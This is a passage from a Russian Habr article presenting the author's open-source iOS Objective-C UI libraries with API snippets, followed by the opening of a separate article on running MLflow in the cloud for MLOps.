Обычная инициализация корневого контроллера в AppDelegate.m:
```
ViewController *viewController = [ViewController new];
UINavigationController *navigationController = [[UINavigationController alloc] initWithRootViewController:viewController];
window.rootViewController = navigationController;
```
Инициализация с LGSideMenuController'ом:
```
ViewController *viewController = [ViewController new];
UINavigationController *navigationController = [[UINavigationController alloc] initWithRootViewController:viewController];
LGSideMenuController *sideMenuController = [[LGSideMenuController alloc] initWithRootViewController:navigationController];
window.rootViewController = sideMenuController;
```
Настроить боковые меню тоже не сложно. Сначала необходимо включить те меню, которые вам нужны (левое, правое или обе):
```
[sideMenuController setLeftViewEnabledWithWidth:250.f // необходимая ширина области
presentationStyle:LGSideMenuPresentationStyleScaleFromBig // стиль анимации
alwaysVisibleOptions:0]; // правила показа
```
Далее добавьте свои вьюхи, которые будут показываться в боковом меню:
```
TableViewController *leftViewController = [TableViewController new];
[sideMenuController.leftView addSubview:leftViewController.tableView];
```
Чтобы показывать или скрывать боковые меню предусмотрены следующие методы:
```
- (void)showLeftViewAnimated:(BOOL)animated completionHandler:(void(^)())completionHandler;
- (void)hideLeftViewAnimated:(BOOL)animated completionHandler:(void(^)())completionHandler;
- (void)showHideLeftViewAnimated:(BOOL)animated completionHandler:(void(^)())completionHandler;
- (void)showRightViewAnimated:(BOOL)animated completionHandler:(void(^)())completionHandler;
- (void)hideRightViewAnimated:(BOOL)animated completionHandler:(void(^)())completionHandler;
- (void)showHideRightViewAnimated:(BOOL)animated completionHandler:(void(^)())completionHandler;
```
Также присутствуют следующие NSNotifications:
```
kLGSideMenuControllerWillShowLeftViewNotification;
kLGSideMenuControllerWillDismissLeftViewNotification;
kLGSideMenuControllerDidShowLeftViewNotification;
kLGSideMenuControllerDidDismissLeftViewNotification;
kLGSideMenuControllerWillShowRightViewNotification;
kLGSideMenuControllerWillDismissRightViewNotification;
kLGSideMenuControllerDidShowRightViewNotification;
kLGSideMenuControllerDidDismissRightViewNotification;
```
[LGPlusButtonsView](https://github.com/Friend-LGA/LGPlusButtonsView)
--------------------------------------------------------------------
**Скриншоты**[](http://raw.githubusercontent.com/Friend-LGA/ReadmeFiles/master/LGPlusButtonsView/Preview.gif)[](http://raw.githubusercontent.com/Friend-LGA/ReadmeFiles/master/LGPlusButtonsView/1.png)[](http://raw.githubusercontent.com/Friend-LGA/ReadmeFiles/master/LGPlusButtonsView/2.png)[](http://raw.githubusercontent.com/Friend-LGA/ReadmeFiles/master/LGPlusButtonsView/3.png)
Google последнее время активно продвигает свой Material Design, одним из компонентов которого является кнопка "+", вызывающая какие-либо дополнительные опции. Решение довольно интересное. На моей практике был заказчик, который просил подобный функционал реализовать на iOS. Поэтому тянуть резину не стал и сразу решил написать универсальное решение.
Краткий список возможностей:
* Можно добавить на любую вьюху
* Если добавлено на UIScrollView то при скролле будет скрываться
* Различные анимации появления кнопок
* Можно выводить в любом из углов
* Широкие возможности по настройке внешнего вида
Инициализация:
```
- (instancetype)initWithView:(UIView *)view
numberOfButtons:(NSUInteger)numberOfButtons
showsPlusButton:(BOOL)showsPlusButton;
```
События отлавливаются с помощью делегирования или блоков:
**Немного кода**Делегирование:
```
@property (assign, nonatomic) id delegate;
- (void)plusButtonsView:(LGPlusButtonsView \*)plusButtonsView buttonPressedWithTitle:(NSString \*)title description:(NSString \*)description index:(NSUInteger)index;
- (void)plusButtonsViewPlusButtonPressed:(LGPlusButtonsView \*)plusButtonsView;
```
Блоки:
```
@property (strong, nonatomic) void (^actionHandler)(LGPlusButtonsView *plusButtonView, NSString *title, NSString *description, NSUInteger index);
@property (strong, nonatomic) void (^plusButtonActionHandler)(LGPlusButtonsView *plusButtonView);
```
Настройка внешнего вида и анимаций:
**Немного кода**
```
@property (assign, nonatomic, getter=isShowWhenScrolling) BOOL showWhenScrolling;
@property (strong, nonatomic) LGPlusButton *plusButton;
/** First is plusButton */
@property (strong, nonatomic) NSMutableArray *buttons;
/** First is plusButton description */
@property (strong, nonatomic) NSMutableArray *descriptions;
@property (assign, nonatomic) UIEdgeInsets contentInset;
@property (assign, nonatomic) UIEdgeInsets buttonInset;
@property (assign, nonatomic) CGSize buttonsSize;
@property (assign, nonatomic) CGSize plusButtonSize;
/** Description horizontal offset from button, default is 6.f */
@property (assign, nonatomic) CGFloat descriptionOffsetX;
@property (assign, nonatomic) LGPlusButtonsAppearingAnimationType appearingAnimationType;
@property (assign, nonatomic) LGPlusButtonsAppearingAnimationType buttonsAppearingAnimationType;
@property (assign, nonatomic) LGPlusButtonAnimationType plusButtonAnimationType;
@property (assign, nonatomic) LGPlusButtonsViewPosition position;
- (void)setButtonsTitles:(NSArray *)titles forState:(UIControlState)state;
- (void)setButtonsTitleColor:(UIColor *)titleColor forState:(UIControlState)state;
- (void)setButtonsImage:(UIImage *)image forState:(UIControlState)state;
- (void)setButtonsBackgroundImage:(UIImage *)backgroundImage forState:(UIControlState)state;
- (void)setButtonsBackgroundColor:(UIColor *)backgroundColor forState:(UIControlState)state;
- (void)setButtonsTitleFont:(UIFont *)font;
- (void)setDescriptionsTexts:(NSArray *)texts;
- (void)setDescriptionsTextColor:(UIColor *)textColor;
- (void)setDescriptionsBackgroundColor:(UIColor *)backgroundColor;
- (void)setDescriptionsFont:(UIFont *)font;
- (void)setButtonsClipsToBounds:(BOOL)clipsToBounds;
- (void)setButtonsContentEdgeInsets:(UIEdgeInsets)contentEdgeInsets;
- (void)setButtonsAdjustsImageWhenHighlighted:(BOOL)adjustsImageWhenHighlighted;
- (void)setButtonsLayerMasksToBounds:(BOOL)masksToBounds;
- (void)setButtonsLayerCornerRadius:(CGFloat)cornerRadius;
- (void)setButtonsLayerBorderColor:(UIColor *)borderColor borderWidth:(CGFloat)borderWidth;
- (void)setButtonsLayerShadowColor:(UIColor *)shadowColor shadowOpacity:(float)shadowOpacity shadowOffset:(CGSize)shadowOffset shadowRadius:(CGFloat)shadowRadius;
```
Чтобы показывать или скрывать LGPlusButtonsView, предусмотрены следующие методы:
```
// для всех кнопок, включая кнопку "+"
- (void)showAnimated:(BOOL)animated completionHandler:(void(^)())completionHandler;
- (void)hideAnimated:(BOOL)animated completionHandler:(void(^)())completionHandler;
// только дополнительные кнопки
- (void)showButtonsAnimated:(BOOL)animated completionHandler:(void(^)())completionHandler;
- (void)hideButtonsAnimated:(BOOL)animated completionHandler:(void(^)())completionHandler;
```
[LGFilterView](https://github.com/Friend-LGA/LGFilterView)
----------------------------------------------------------
**Скриншоты**[](http://raw.githubusercontent.com/Friend-LGA/ReadmeFiles/master/LGFilterView/Preview.gif)[](http://raw.githubusercontent.com/Friend-LGA/ReadmeFiles/master/LGFilterView/1.png)[](http://raw.githubusercontent.com/Friend-LGA/ReadmeFiles/master/LGFilterView/2.png)[](http://raw.githubusercontent.com/Friend-LGA/ReadmeFiles/master/LGFilterView/3.png)[](http://raw.githubusercontent.com/Friend-LGA/ReadmeFiles/master/LGFilterView/4.png)
Довольно часто в новостных приложениях приходится делать фильтры, к примеру, для выбора категории выводимых материалов. Логика у них вполне похожа, обычно это выпадающая таблица с названиями. Данный функционал и реализует LGFilterView.
Краткий список возможностей:
* Может показывать по умолчанию как таблицу, так и кастомную вьюху
* Есть несколько стилей на выбор
* Довольно широкие возможности по настройке внешнего вида
Инициализировать можно либо со списком возможных названий (тогда фильтр будет выглядеть как таблица), либо со своей кастомной вьюхой (которую фильтр будет показывать):
```
- (instancetype)initWithView:(UIView *)view;
- (instancetype)initWithTitles:(NSArray *)titles;
```
События отлавливаются с помощью делегирования, блоков и нотификаций:
**Немного кода**Делегирование:
```
@property (assign, nonatomic) id delegate;
- (void)filterViewWillShow:(LGFilterView \*)filterView;
- (void)filterViewWillDismiss:(LGFilterView \*)filterView;
- (void)filterViewDidShow:(LGFilterView \*)filterView;
- (void)filterViewDidDismiss:(LGFilterView \*)filterView;
- (void)filterView:(LGFilterView \*)filterView buttonPressedWithTitle:(NSString \*)title index:(NSUInteger)index;
- (void)filterViewCancelled:(LGFilterView \*)filterView;
```
Блоки:
```
@property (strong, nonatomic) void (^willShowHandler)(LGFilterView *filterView);
@property (strong, nonatomic) void (^willDismissHandler)(LGFilterView *filterView);
@property (strong, nonatomic) void (^didShowHandler)(LGFilterView *filterView);
@property (strong, nonatomic) void (^didDismissHandler)(LGFilterView *filterView);
@property (strong, nonatomic) void (^actionHandler)(LGFilterView *filterView, NSString *title, NSUInteger index);
@property (strong, nonatomic) void (^cancelHandler)(LGFilterView *filterView);
```
NSNotifications:
```
kLGFilterViewWillShowNotification;
kLGFilterViewWillDismissNotification;
kLGFilterViewDidShowNotification;
kLGFilterViewDidDismissNotification;
```
Настройка внешнего вида и анимаций (по умолчанию анимации для iPhone и iPad различается):
**Немного кода**
```
@property (assign, nonatomic) LGFilterViewTransitionStyle transitionStyle;
@property (assign, nonatomic) CGPoint offset;
@property (assign, nonatomic) UIEdgeInsets contentInset;
@property (assign, nonatomic) CGFloat heightMax;
@property (assign, nonatomic, getter=isSeparatorsVisible) BOOL separatorsVisible;
@property (strong, nonatomic) UIColor *separatorsColor;
@property (assign, nonatomic) UIEdgeInsets separatorsEdgeInsets;
@property (strong, nonatomic) UIColor *titleColor;
@property (strong, nonatomic) UIColor *titleColorHighlighted;
@property (strong, nonatomic) UIColor *titleColorSelected;
@property (strong, nonatomic) UIColor *backgroundColorHighlighted;
@property (strong, nonatomic) UIColor *backgroundColorSelected;
@property (strong, nonatomic) UIFont *font;
@property (assign, nonatomic) NSUInteger numberOfLines;
@property (assign, nonatomic) NSLineBreakMode lineBreakMode;
@property (assign, nonatomic) NSTextAlignment textAlignment;
@property (assign, nonatomic) BOOL adjustsFontSizeToFitWidth;
@property (assign, nonatomic) CGFloat minimumScaleFactor;
@property (assign, nonatomic) CGFloat cornerRadius;
@property (assign, nonatomic) CGFloat borderWidth;
@property (strong, nonatomic) UIColor *borderColor;
@property (assign, nonatomic) UIScrollViewIndicatorStyle indicatorStyle;
```
Чтобы показывать или скрывать фильтр предусмотрены следующие методы:
```
- (void)showInView:(UIView *)view animated:(BOOL)animated completionHandler:(void(^)())completionHandler;
- (void)dismissAnimated:(BOOL)animated completionHandler:(void(^)())completionHandler;
```
[LGRefreshView](https://github.com/Friend-LGA/LGRefreshView)
------------------------------------------------------------
**Скриншоты**[](http://raw.githubusercontent.com/Friend-LGA/ReadmeFiles/master/LGRefreshView/Preview.gif)[](https://habrastorage.org/getpro/habr/post_images/25b/ec3/d4d/25bec3d4d0fd6e1cf4a1c4fde0b80ccf.png)
«Потяни, чтобы обновить» — очень модная фича, которая есть практически в каждом приложении. Даже Apple не удержалась и в iOS 6 добавила данный функционал, но почему-то только для UITableView, а UICollectionView и UIScrollView остались за бортом. Хотя при помощи некоторых костылей стандартный «pull to refresh» можно прикрутить и для UICollectionView, но костыли нам не нужны. По правде сказать различных «рефрешей» полно на гитхабе, сам долго искал подходящий, но в основном там либо заброшенные популярные старые версии, у которых накопился ворох различных проблем, или очень крутые библиотеки, которые делают просто невообразимые вещи, но слишком изощрены в дизайне, чтобы была возможность использовать их в любом проекте. Поэтому решил постараться сделать универсальный, кастомизируемый и нейтральный «pull to refresh».
При инициализации нужно указать родительскую вьюху, которая должна быть UIScrollView или наследуемым классом (UITableView или UICollectionView. По идее должно работать и с UIWebView, но во время тестов были проблемы, поэтому не советую).
```
- (instancetype)initWithScrollView:(UIScrollView *)scrollView;
```
Событие рефреша отлавливается с помощью делегирования, блоков и нотификаций:
**Немного кода**Делегирование:
```
@property (assign, nonatomic) id delegate;
- (void)refreshViewRefreshing:(LGRefreshView \*)refreshView;
```
Блоки:
```
@property (strong, nonatomic) void (^refreshHandler)(LGRefreshView *refreshView);
```
NSNotifications:
```
kLGRefreshViewBeginRefreshingNotification;
kLGRefreshViewEndRefreshingNotification;
```
Для завершения обновления предусмотрен метод:
```
- (void)endRefreshing;
```
Также рефреш можно вызвать программно:
```
- (void)triggerAnimated:(BOOL)animated;
```
[LGPlaceholderView](https://github.com/Friend-LGA/LGPlaceholderView)
--------------------------------------------------------------------
**Скриншоты**[](http://raw.githubusercontent.com/Friend-LGA/ReadmeFiles/master/LGPlaceholderView/Preview.gif)[](http://raw.githubusercontent.com/Friend-LGA/ReadmeFiles/master/LGPlaceholderView/1.png)[](http://raw.githubusercontent.com/Friend-LGA/ReadmeFiles/master/LGPlaceholderView/2.png)[](http://raw.githubusercontent.com/Friend-LGA/ReadmeFiles/master/LGPlaceholderView/3.png)[](http://raw.githubusercontent.com/Friend-LGA/ReadmeFiles/master/LGPlaceholderView/4.png)[](http://raw.githubusercontent.com/Friend-LGA/ReadmeFiles/master/LGPlaceholderView/5.png)[](http://raw.githubusercontent.com/Friend-LGA/ReadmeFiles/master/LGPlaceholderView/6.png)
Если у вас клиент-серверное приложение, то при переходе на новый контроллер часто приходится загружать данные. Чтобы не фризить UI, делать это нужно в дополнительном потоке. Но что показывать пользователю, пока происходит загрузка? А показывать можно разное, для этого и сделан LGPlaceholderView.
Что LGPlaceholderView может показывать:
* Текст
* UIActivityIndicatorView
* Текст + UIActivityIndicatorView
* UIProgressView
* Текст + UIProgressView
* Кастомную вьюху
Кроме того, LGPlaceholderView всегда будет находиться поверх других вьюх. Вы можете загрузить данные, подготовить их к показу, а потом анимированно скрыть LGPlaceholderView.
При инициализации нужно указать вьюху, которую вы будете скрывать:
```
- (instancetype)initWithView:(UIView *)view;
```
События можно отлавливать с помощью нотификаций:
```
kLGPlaceholderViewWillShowNotification;
kLGPlaceholderViewWillDismissNotification;
kLGPlaceholderViewDidShowNotification;
kLGPlaceholderViewDidDismissNotification;
```
Для показа предусмотрены различные методы, в зависимости от того, какой стиль вы хотите задать:
```
- (void)showActivityIndicatorAnimated:(BOOL)animated completionHandler:(void(^)())completionHandler;
- (void)showActivityIndicatorWithText:(NSString *)text animated:(BOOL)animated completionHandler:(void(^)())completionHandler;
- (void)showProgressViewAnimated:(BOOL)animated completionHandler:(void(^)())completionHandler;
- (void)showProgressViewWithText:(NSString *)text animated:(BOOL)animated completionHandler:(void(^)())completionHandler;
- (void)showText:(NSString *)text animated:(BOOL)animated completionHandler:(void(^)())completionHandler;
- (void)showView:(UIView *)view animated:(BOOL)animated completionHandler:(void(^)())completionHandler;
```
Чтобы скрыть placeholder, нужно вызвать:
```
- (void)dismissAnimated:(BOOL)animated completionHandler:(void(^)())completionHandler;
```
Кроме того, различные стили можно комбинировать, если вы вызовите несколько «show» методов подряд, то LGPlaceholderView сменится на другой.
[LGDrawer](https://github.com/Friend-LGA/LGDrawer)
--------------------------------------------------
Программное рисование изображений давно будоражит мой ум. Растровые картинки понемногу отмирают, даже apple в последних версиях xcode добавила поддержку для векторных изображений. Но что если не отягощать приложение дополнительными ресурсами, а рисовать изображения прямо внутри, благо инструменты позволяют.
Плюсы такого подхода, видящиеся мне:
* Качество изображений всегда на высоте, так как не требуется масштабирование, каждый девайс рисует именно то что нужно ему;
* Легкое и быстрое изменение содержимого (если, к примеру, необходимо поменять цвет, вместо того чтобы открывать редактор, загружать картинку, изменять цвет и сохранять, достаточно будет всего лишь поменять один параметр в коде);
* Облегчение веса конечного архива с приложением.
Так и появился LGDrawer. Посмотрим, что он может рисовать на данный момент:
* Прямоугольник (квадрат)
* Эллипс (круг)
* Треугольник
* Плюс
* Крест
* Линия
* Галочка
* Стрелочка
* Сердце
* Звезда
* Меню (3 параллельных линии с возможными точками)
* Различные тени
* Возможность накладывать изображения друг на друга, или вырезать одни изображения из других
**Немного кода**
```
#pragma mark - Rectangle
+ (UIImage *)drawRectangleWithImageSize:(CGSize)imageSize
size:(CGSize)size
offset:(CGPoint)offset
rotate:(CGFloat)degrees
roundedCorners:(UIRectCorner)roundedCorners
cornerRadius:(CGFloat)cornerRadius
backgroundColor:(UIColor *)backgroundColor
fillColor:(UIColor *)fillColor
strokeColor:(UIColor *)strokeColor
strokeThickness:(CGFloat)strokeThickness
strokeDash:(NSArray *)strokeDash
strokeType:(LGDrawerStrokeType)strokeType
shadowColor:(UIColor *)shadowColor
shadowOffset:(CGPoint)shadowOffset
shadowBlur:(CGFloat)shadowBlur;
#pragma mark - Ellipse
+ (UIImage *)drawEllipseWithImageSize:(CGSize)imageSize
size:(CGSize)size
offset:(CGPoint)offset
rotate:(CGFloat)degrees
backgroundColor:(UIColor *)backgroundColor
fillColor:(UIColor *)fillColor
strokeColor:(UIColor *)strokeColor
strokeThickness:(CGFloat)strokeThickness
strokeDash:(NSArray *)strokeDash
strokeType:(LGDrawerStrokeType)strokeType
shadowColor:(UIColor *)shadowColor
shadowOffset:(CGPoint)shadowOffset
shadowBlur:(CGFloat)shadowBlur;
#pragma mark - Triangle
/** Stroke type is center */
+ (UIImage *)drawTriangleWithImageSize:(CGSize)imageSize
size:(CGSize)size
offset:(CGPoint)offset
rotate:(CGFloat)degrees
cornerRadius:(CGFloat)cornerRadius
direction:(LGDrawerDirection)direction
backgroundColor:(UIColor *)backgroundColor
fillColor:(UIColor *)fillColor
strokeColor:(UIColor *)strokeColor
strokeThickness:(CGFloat)strokeThickness
strokeDash:(NSArray *)strokeDash
shadowColor:(UIColor *)shadowColor
shadowOffset:(CGPoint)shadowOffset
shadowBlur:(CGFloat)shadowBlur;
#pragma mark - Shadow
+ (UIImage *)drawShadowWithImageSize:(CGSize)imageSize
direction:(LGDrawerDirection)direction
backgroundColor:(UIColor *)backgroundColor
shadowColor:(UIColor *)shadowColor
shadowOffset:(CGPoint)shadowOffset
shadowBlur:(CGFloat)shadowBlur;
#pragma mark - Plus
+ (UIImage *)drawPlusWithImageSize:(CGSize)imageSize
size:(CGSize)size
offset:(CGPoint)offset
rotate:(CGFloat)degrees
thickness:(CGFloat)thickness
roundedCorners:(UIRectCorner)roundedCorners
cornerRadius:(CGFloat)cornerRadius
backgroundColor:(UIColor *)backgroundColor
fillColor:(UIColor *)fillColor
strokeColor:(UIColor *)strokeColor
strokeThickness:(CGFloat)strokeThickness
strokeDash:(NSArray *)strokeDash
strokeType:(LGDrawerStrokeType)strokeType
shadowColor:(UIColor *)shadowColor
shadowOffset:(CGPoint)shadowOffset
shadowBlur:(CGFloat)shadowBlur;
+ (UIImage *)drawPlusWithImageSize:(CGSize)imageSize
size:(CGSize)size
offset:(CGPoint)offset
rotate:(CGFloat)degrees
thickness:(CGFloat)thickness
backgroundColor:(UIColor *)backgroundColor
color:(UIColor *)color
dash:(NSArray *)dash
shadowColor:(UIColor *)shadowColor
shadowOffset:(CGPoint)shadowOffset
shadowBlur:(CGFloat)shadowBlur;
#pragma mark - Cross
+ (UIImage *)drawCrossWithImageSize:(CGSize)imageSize
size:(CGSize)size
offset:(CGPoint)offset
rotate:(CGFloat)degrees
thickness:(CGFloat)thickness
roundedCorners:(UIRectCorner)roundedCorners
cornerRadius:(CGFloat)cornerRadius
backgroundColor:(UIColor *)backgroundColor
fillColor:(UIColor *)fillColor
strokeColor:(UIColor *)strokeColor
strokeThickness:(CGFloat)strokeThickness
strokeDash:(NSArray *)strokeDash
strokeType:(LGDrawerStrokeType)strokeType
shadowColor:(UIColor *)shadowColor
shadowOffset:(CGPoint)shadowOffset
shadowBlur:(CGFloat)shadowBlur;
+ (UIImage *)drawCrossWithImageSize:(CGSize)imageSize
size:(CGSize)size
offset:(CGPoint)offset
rotate:(CGFloat)degrees
thickness:(CGFloat)thickness
backgroundColor:(UIColor *)backgroundColor
color:(UIColor *)color
dash:(NSArray *)dash
shadowColor:(UIColor *)shadowColor
shadowOffset:(CGPoint)shadowOffset
shadowBlur:(CGFloat)shadowBlur;
#pragma mark - Line
+ (UIImage *)drawLineWithImageSize:(CGSize)imageSize
length:(CGFloat)length
offset:(CGPoint)offset
rotate:(CGFloat)degrees
thickness:(CGFloat)thickness
direction:(LGDrawerLineDirection)direction
backgroundColor:(UIColor *)backgroundColor
color:(UIColor *)color
dash:(NSArray *)dash
shadowColor:(UIColor *)shadowColor
shadowOffset:(CGPoint)shadowOffset
shadowBlur:(CGFloat)shadowBlur;
#pragma mark - Tick
+ (UIImage *)drawTickWithImageSize:(CGSize)imageSize
size:(CGSize)size
offset:(CGPoint)offset
rotate:(CGFloat)degrees
thickness:(CGFloat)thickness
backgroundColor:(UIColor *)backgroundColor
color:(UIColor *)color
dash:(NSArray *)dash
shadowColor:(UIColor *)shadowColor
shadowOffset:(CGPoint)shadowOffset
shadowBlur:(CGFloat)shadowBlur;
#pragma mark - Arrow
+ (UIImage *)drawArrowWithImageSize:(CGSize)imageSize
size:(CGSize)size
offset:(CGPoint)offset
rotate:(CGFloat)degrees
thickness:(CGFloat)thickness
direction:(LGDrawerDirection)direction
backgroundColor:(UIColor *)backgroundColor
color:(UIColor *)color
dash:(NSArray *)dash
shadowColor:(UIColor *)shadowColor
shadowOffset:(CGPoint)shadowOffset
shadowBlur:(CGFloat)shadowBlur;
+ (UIImage *)drawArrowTailedWithImageSize:(CGSize)imageSize
size:(CGSize)size
offset:(CGPoint)offset
rotate:(CGFloat)degrees
thickness:(CGFloat)thickness
direction:(LGDrawerDirection)direction
backgroundColor:(UIColor *)backgroundColor
color:(UIColor *)color
dash:(NSArray *)dash
shadowColor:(UIColor *)shadowColor
shadowOffset:(CGPoint)shadowOffset
shadowBlur:(CGFloat)shadowBlur;
#pragma mark - Heart
/** Stroke type is center */
+ (UIImage *)drawHeartWithImageSize:(CGSize)imageSize
size:(CGSize)size
offset:(CGPoint)offset
rotate:(CGFloat)degrees
backgroundColor:(UIColor *)backgroundColor
fillColor:(UIColor *)fillColor
strokeColor:(UIColor *)strokeColor
strokeThickness:(CGFloat)strokeThickness
strokeDash:(NSArray *)strokeDash
shadowColor:(UIColor *)shadowColor
shadowOffset:(CGPoint)shadowOffset
shadowBlur:(CGFloat)shadowBlur;
#pragma mark - Star
/** Stroke type is center */
+ (UIImage *)drawStarWithImageSize:(CGSize)imageSize
size:(CGSize)size
offset:(CGPoint)offset
rotate:(CGFloat)degrees
backgroundColor:(UIColor *)backgroundColor
fillColor:(UIColor *)fillColor
strokeColor:(UIColor *)strokeColor
strokeThickness:(CGFloat)strokeThickness
strokeDash:(NSArray *)strokeDash
shadowColor:(UIColor *)shadowColor
shadowOffset:(CGPoint)shadowOffset
shadowBlur:(CGFloat)shadowBlur;
#pragma mark - Menu
+ (UIImage *)drawMenuWithImageSize:(CGSize)imageSize
size:(CGSize)size
offset:(CGPoint)offset
rotate:(CGFloat)degrees
thickness:(CGFloat)thickness
dotted:(BOOL)dotted
dotsPosition:(LGDrawerMenuDotsPosition)dotsPosition
dotsCornerRadius:(CGFloat)dotsCornerRadius
linesCornerRadius:(CGFloat)linesCornerRadius
backgroundColor:(UIColor *)backgroundColor
fillColor:(UIColor *)fillColor
strokeColor:(UIColor *)strokeColor
strokeThickness:(CGFloat)strokeThickness
strokeDash:(NSArray *)strokeDash
shadowColor:(UIColor *)shadowColor
shadowOffset:(CGPoint)shadowOffset
shadowBlur:(CGFloat)shadowBlur;
#pragma mark - Images
+ (UIImage *)drawImage:(UIImage *)image1
onImage:(UIImage *)image2
clear:(BOOL)clear;
+ (UIImage *)drawImageOnImage:(NSArray *)images;
+ (UIImage *)drawImagesWithFinishSize:(CGSize)finishSize
image1:(UIImage *)image1
image1Rect:(CGRect)rect1
image2:(UIImage *)image2
image2Rect:(CGRect)rect2
clear:(BOOL)clear;
+ (UIImage *)drawImagesWithFinishSize:(CGSize)finishSize
image1:(UIImage *)image1
image1Offset:(CGPoint)offset1
image2:(UIImage *)image2
image2Offset:(CGPoint)offset2
clear:(BOOL)clear;
```
Принцип рисования следующий. У каждого метода есть параметры, где вы можете задавать размер области (холста), в которой будет находиться изображения, её заливку; размер самого изображения, его заливку, обводку, тень, смещение относительно центра внутри холста, угол поворота изображения и, если возможно, толщину линий и закругления углов.
Не все параметры удалось реализовать для каждого метода, но старался по максимуму возможного.
Было бы очень интересно, если сообщество помогло расширить возможности данной библиотеки. Во-первых, добавить недостающие параметры там, где этого не смог я. Во-вторых, увеличить каталог возможных изображений.
[LGViews](https://github.com/Friend-LGA/LGViews)
------------------------------------------------
**Скриншоты**[](http://raw.githubusercontent.com/Friend-LGA/ReadmeFiles/master/LGViews/Preview.gif)[](http://raw.githubusercontent.com/Friend-LGA/ReadmeFiles/master/LGViews/1.png)[](http://raw.githubusercontent.com/Friend-LGA/ReadmeFiles/master/LGViews/2.png)[](http://raw.githubusercontent.com/Friend-LGA/ReadmeFiles/master/LGViews/3.png)[](http://raw.githubusercontent.com/Friend-LGA/ReadmeFiles/master/LGViews/4.png)
Часто хочется расширить функционал той или иной вьюхи. Почему для UILabel нельзя задать contentEdgeInsets? Если я хочу расположить UILabel поверх картинки, то для удобства чтения текста, вместо того, чтобы расширить background, приходится создавать дополнительную UIView. Или для UIButton, почему для каждого состояния можно задать текст, цвета текста, картинку, картинку background'a, но банального цвета background'a задать нельзя. А что насчет выбора расположения картинки относительно текста?
В общем, думаю, вы поняли направление моих мыслей, в этой библиотеке я написал классы, которые расширяют возможности стандартных вьюх:
* contentEdgeInsets для UILabel
* backgroundColor для разных состояний UIButton
* Возможность задать UIButton не прямоугольную форму за счет масок
* Выбрать расположение картинки относительно текста в UIButton
* Задание максимальной длины текста для UITextField и UITextView
* contentEdgeInsets для текста и боковых изображений в UITextField
* Удаление лишних пробелов и переносов строк из UITextField
* Возможность авторасширения для UITextView с заданием максимальной высоты или количества строк
* placeholder для UITextView
[LGViewControllers](https://github.com/Friend-LGA/LGViewControllers)
--------------------------------------------------------------------
Так же обстоят дела и с UIViewController'ами. Но тут расширять возможности было сложнее и не так очевидно, поэтому не считаю, что смог в полной мере добиться желаемого результата.
Краткий список:
* Добавил UIScrollViewController и UIWebViewController
* Для UITableViewController, UICollectionViewController и UIScrollViewController добавил LGRefreshView и LGPlaceholderView; для UIWebViewController только LGPlaceholderView
* Для UITableViewControlle добавил новый метод делегата «heightForRowAtIndexPathAsync», который позволяет асинхронно рассчитывать высоту ячеек. То есть, если у вас динамическая высота ячеек и вы часто подгружаете список, данный метод поможет избежать задержек в интерфейсе
* Для UICollectionViewController попытался упростить инициализацию layout'а, чтобы можно было настроить сетку без лишних рассчетов
* UIWebViewController можно использовать без наследования, а сразу передавать в тело ссылку на нужный ресурс при инициализации
* Добавил методы для автоматического слежения за клавиатурой, то есть contentInsets будут меняться при появлении и исчезновении клавиатуры
[LGHelper](https://github.com/Friend-LGA/LGHelper), [LGHelper+NS](https://github.com/Friend-LGA/LGHelper-NS), [LGHelper+UI](https://github.com/Friend-LGA/LGHelper-UI)
----------------------------------------------------------------------------------------------------------------------------------------------------------------------
Каждый день мы решаем огромное количество повторяющихся задач. Большинство из них мы помним, но часто мелкие детали реализации ускользают и приходится периодически освежать их в памяти. Данные хелперы — это библиотеки, содержащие в себе всевозможные макроссы и методы, помогающие в повседневной жизни. Я собрал здесь довольно много полезной информации, не обязательно даже использовать их в своих проектах, иногда полезно бывает просто заглянуть, чтобы вспомнить ту или иную фичу.
Обработка изображений, конвертация цветов, использование масок, отправка электронных писем, вызов звонка с подтверждением и без, показ местоположения на карте, узнать состояние подключения к интернету, добавить человека в адресную книгу, закодировать данные, получить MD5 и SHA1 хэши, добавить событие в календарь, получить изображение с камеры… и многое многое другое, что я не буду здесь перечислять. Думаю названия всех методов и переменных должны быть более-менее интуитивно понятны, поэтому, чтобы ознакомиться с полным списком возможностей, предлагаю просмотреть header файлы исходников.
[LGSharing](https://github.com/Friend-LGA/LGSharing), [LGAudioStreamHelper](https://github.com/Friend-LGA/LGAudioStreamHelper), [LGConnection](https://github.com/Friend-LGA/LGConnection)
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Эти 3 библиотеки, на мой взгляд, не так интересны как остальные. LGSharing ясное дело помогает постить в социальные сети (ВКонтакте, Facebook и Twitter) + отправлять сообщения на email и sms. LGConnection является оберткой вокруг AFNetworking, из коробки может парсить ответ от сервера включая XML формат + имеет логику для обработки прерывания интернет соединения. LGAudioStreamHelper помогает работать с аудио стримами, определять формат, получать метаданные и записывать поток. Более подробно рассказывать не буду, если кому интересно, заходите на гитхаб и пробуйте.
---
Всем спасибо за внимание. Буду очень рад если мои труды кому-то принесут пользу. Открыт для объективной критики, предложениям по улучшению или расширению функционала библиотек. Если есть какие вопросы — задавайте, постараюсь ответить. | https://habr.com/ru/post/262615/ | null | ru | null |
# MLflow в облаке. Простой и быстрый способ вывести ML-модели в продакшен
[Robot factory by lucart](https://www.deviantart.com/lukart/art/Robot-factory-428963611)
MLflow — один из самых стабильных и легких инструментов, позволяющий специалистам по Data Science управлять жизненным циклом моделей машинного обучения. Это удобный инструмент с простым интерфейсом для просмотра экспериментов и мощными средствами упаковки управления, развертывания моделей. Он позволяет работать практически с любой библиотекой машинного обучения.
Я Александр Волынский, архитектор облачной платформы Mail.ru Cloud Solutions. В [прошлой статье](https://habr.com/ru/company/mailru/blog/547066/) мы рассмотрели Kubeflow. MLflow — это еще один инструмент для построения MLOps, для работы с которым не обязателен Kubernetes.
Подробно про MLOps я рассказывал в прошлой статье, сейчас лишь кратко упомяну основные тезисы.
* MLOps — это DevOps в сфере машинного обучения.
* Помогает стандартизировать процесс разработки моделей машинного обучения.
* Сокращает время выкатки моделей в продакшен.
* Включает в себя задачи трекинга моделей, версионирования и мониторинга.
Все это позволяет бизнесу получать больше пользы от моделей машинного обучения.
Итак, в ходе этой статьи мы:
1. Развернем в облаке сервисы, которые выполняют роль бэкенда для MLflow.
2. Установим и настроим MLflow Tracking Server.
3. Развернем JupyterHub и настроим его для работы с MLflow.
4. Протестируем ручное и автоматическое логирование параметров и метрик экспериментов.
5. Попробуем различные способы публикации моделей.
